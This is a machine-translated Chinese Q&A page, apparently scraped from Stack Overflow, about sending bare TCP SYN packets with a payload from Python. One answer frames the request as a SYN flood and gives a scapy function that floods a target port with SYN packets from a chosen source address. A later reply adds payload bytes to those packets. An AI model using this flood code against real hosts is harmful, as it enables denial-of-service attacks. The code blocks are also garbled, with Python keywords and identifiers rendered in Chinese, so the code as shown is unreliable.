Python 套接字。永远连接块。如何只发送长度为的SYN数据包而不等待响应?
我有一个简单的代码:Python 套接字。永远连接块。如何只发送长度为的SYN数据包而不等待响应?,python,python-3.x,sockets,tcp,scapy,Python,Python 3.x,Sockets,Tcp,Scapy,我有一个简单的代码: import socket ip = "myip" port = myport s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((ip,port)) print("SYN packet sent.") 如果我运行它,它永远不会到达打印,因此它永远不会完成连接,这是因为我要连接的IP没有打开该端口 事实上,我不想完成连接,只需要发送SYN请求 此外,我还需要发送长度为的数据包。如果我使用hp
import socket
ip = "myip"
port = myport
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip,port))
print("SYN packet sent.")
如果我运行它,它永远不会到达打印,因此它永远不会完成连接,这是因为我要连接的IP没有打开该端口
事实上,我不想完成连接,只需要发送SYN请求
此外,我还需要发送长度为的数据包。如果我使用hping3进行测试并嗅探发送的syn数据包,我会看到有一个长度为100的有效负载。如何将此有效负载“添加”到数据包中
我该怎么做呢?如果您不想等待响应,例如,您可以使用 以下是设置5秒超时的示例:
试试看:
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s、 设置超时(5)
s、 连接((ip,端口))
除socket.timeout外:
通过
另一种解决方案(尽管更困难)是使用原始套接字手动发送数据包
您可以使用tcpdump等工具验证数据包是否确实已发送:
$ tcpdump 'tcp port 5005'
据我所知,您所追求的是TCP SYN洪水,可能最好使用。这可以通过以下类似代码实现:
从scapy.all导入*
def溢流(src_ip、dst_ip、dst_端口、数量):
ip=ip(src=src_ip,dst=dst_ip)
对于范围内的i(0,金额):
src_port=random.randint(2065000)
传输=TCP(运动=src_端口,dport=dst_端口,flags=“S”)
发送(ip/传输)
如果uuuu name uuuuuu='\uuuuuuu main\uuuuuuu':
洪水('x.x.x.x','x.x.x.x','443','1000')
如上所述,重要的是要注意不能在SYN数据包内发送数据 你错了。它不会永远阻塞。大约一分钟后就会超时。您可以使用连接超时或非阻塞模式。原始套接字没有帮助。您必须与他们进行整个对话,平台很可能会拒绝他们不知道的TCP连接的TCP数据包。您好,谢谢您的帮助。顺便说一下,使用hping3发送syn数据包,并嗅探发送的数据包,我发现有一个100长度的有效负载。即使端口关闭,我如何在这些scapy-make数据包中“添加”此有效负载?您可以通过添加字节来添加数据:
send(ip/transport/b“deliciousdata”)